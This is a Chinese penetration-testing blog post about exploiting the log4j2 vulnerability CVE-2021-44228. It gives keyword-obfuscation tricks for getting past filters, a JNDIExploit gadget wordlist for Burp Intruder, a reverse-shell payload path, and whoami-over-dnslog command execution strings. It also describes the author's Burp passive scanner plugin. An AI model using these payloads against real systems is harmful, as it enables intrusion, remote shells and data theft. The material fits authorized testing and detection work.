六月大家都挺忙的,抽空更新下。
0x01 背景
最近遇到了很多log4j2漏洞(CVE-2021-44228),可以说在一定的时间段内,这个漏洞应该还是主流;也碰到了一些很稀奇古怪的漏洞点,简单地介绍下遇到的一些限制、JNDIExploit的快捷使用以及burp被动扫描的配置
0x02 常见的限制
-
对关键词的拦截,如对 jndi:
、ldap:
进行拦截,使用拦截的关键字,直接无法接收到请求;需用bypass类型进行绕过,可以参考https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words -
在dnslog平台有请求,但是ldap接收不到请求;大概率是端口的问题,可以使用一些通用的端口进行监听,如25、21、80等等 -
上一个请求能成功接收,下一个请求无法成功接收;更改payload中的一些关键字即可,如使用 ${::-.}
替换.
等等 -
封ip限制;更换不同IP的VPS进行测试
0x03 JNDIExploit使用
每次用JNDIExploit的时候,总是要探测各种各样的gadget,这里介绍下笔者是如何使用的:
0x001 设置变量,添加字典
发送到burp的intruder
模块
${jndi:ldap://x.x.x.x:1389/$onlysecurity$xxx.dnslog.cn}
设置$onlysecurity$
为变量,使用下面字典进行请求
Basic/Dnslog/basic.
Deserialization/URLDNS/urldns.
Deserialization/CommonsCollectionsK1/Dnslog/cck1.
Deserialization/CommonsCollectionsK2/Dnslog/cck2.
Deserialization/CommonsBeanutils1/Dnslog/cb1.
Deserialization/CommonsBeanutils2/Dnslog/cb2.
Deserialization/C3P0/Dnslog/c3p0.
Deserialization/Jdk7u21/Dnslog/jdk7u.
Deserialization/Jre8u20/Dnslog/jre8u.
Deserialization/CVE_2020_2555/Dnslog/2555.
Deserialization/CVE_2020_2883/Dnslog/2883.
TomcatBypass/Dnslog/tombypass.
GroovyBypass/Dnslog/grobypass.
WebsphereBypass/Dnslog/webbypass.
可能有些JNDIExploit的gadget不仅仅局限于上面这些,可以自行添加
直接根据dnslog的结果去探测gadget,从而去利用
0x002 如果dnslog平台有哪个请求,就说明哪条gadget可以利用
这里得到是tomcatbypass这个gadget,那么直接可以弹shellTomcatBypass/ReverseShell/x.x.x.x/xxxx
也可以外带命令执行
ping `whoami`.xxx.dnslog.cn
TomcatBypass/Command/ping `whoami`.xxx.dnslog.cn
TomcatBypass/Command/Base64/cGluZyBgd2hvYW1pYC54eHguZG5zbG9nLmNu
dnslog平台收到请求
0x04 关于工具
在去年log4j2漏洞爆发的时候,笔者写了一个被动插件,不能说100%检测,大概能检测80%的log4j,下面是插件的一些介绍:
主要是两个模块
dnslog configuration
-
0x001 log4j2 Passive Scanner
为被动扫描开关,勾选就会进行被动扫描,不勾选就不会扫描 -
0x002 isuseceye
是否使用ceye.io的平台 -
0x003 ceyetoken
ceye.io的用户token -
0x004 ceyednslog
ceye.io的用户记录域名 -
0x005 isuseprivatedns
是否使用自定义dnslog -
0x006 isip
自定义dnslog是否为ip(主要针对内网的ip监听) -
0x007 privatednslogurl
自定义的dnslog记录域名 -
0x008 privatednsResponseurl
自定义dnslog记录域名响应查看地址,详细自定义dnslog配置可以到此处查看 -
0x009 Save configuration
保存配置 -
0x0010 Restore/Loading latest params
恢复默认参数 -
0x0011 Test dnslog delay
测试dnslog的延迟
custom params
-
0x001 jndiparam
传入的jndi参数,可以使用类似于j${::-n}di:
进行替换,达到bypass效果 -
0x002 dnsldaprmi
可选,传入dns、ldap、rmi三个参数,可以使用类似于dns${::-:}
进行替换,达到bypass效果 -
0x003 white lists
白名单,可使用通配符进行配置,如*.gov.cn
、*.edu.cn
也可以设置成指定的域名后缀结尾,如qq.com
,这样任何以qq.com结尾的域名都不会进行扫描 -
0x004 headers lists
自定义请求头的参数名 -
0x005 test UserAgentTokenXff
是否测试User-Agent、token(包含jwt一些关键字) 、常见XFF头参数等 -
0x006 test Xfflists
是否测试所有xff头参数 -
0x007 test Cookie
是否测试所有Cookie -
0x008 test RefererOrigin
是否测试Referer、Origin参数 -
0x009 test Contenttype
是否测试Contenttype参数 -
0x0010 test Accept
是否测试Accept等参数
附上笔者的工具页面:
具体可以去项目主页查看
https://github.com/f0ng/log4j2burpscanner
使用的时候,也有一些小tips和个人的建议:
-
使用的方法 -
被动扫描,正常经过burp的流量就会进行扫描 -
主动扫描,在请求包中参数点较多的时候进行主动扫描 -
常见的漏洞请求头 -
Accept -
X-Forward-For -
…… -
还有一些如token、authorization用户认证的请求头,特定的应用才有 -
并非Java的站点才有log4j2漏洞,遇到过非Java站点存在漏洞的,猜测应该是后端日志记录用到了log4j2组件 -
同上一点,存在log4j2漏洞的服务器不一定是当前请求的服务器,可能是其他记录日志的服务器 -
有些dnslog会被封禁,比如 ceye.io
、dnslog.cn
等,所以要用一些小众的dnslog,有条件最好还是自己创建 -
payload并不能百分百探测到,根据站点对关键词的拦截、对请求头的限制,选取适合的关键字、请求头才是最高效的
0x05 参考
-
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words【关键字bypass】 -
JNDIExploit没有详细的链接,原项目基本都不存在了,可以用 JNDIExploit
作为关键字在github搜索 -
https://github.com/f0ng/log4j2burpscanner【log4j2-burp被动扫描插件】
原文始发于微信公众号(only security):log4j2漏洞杂谈
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/204156.html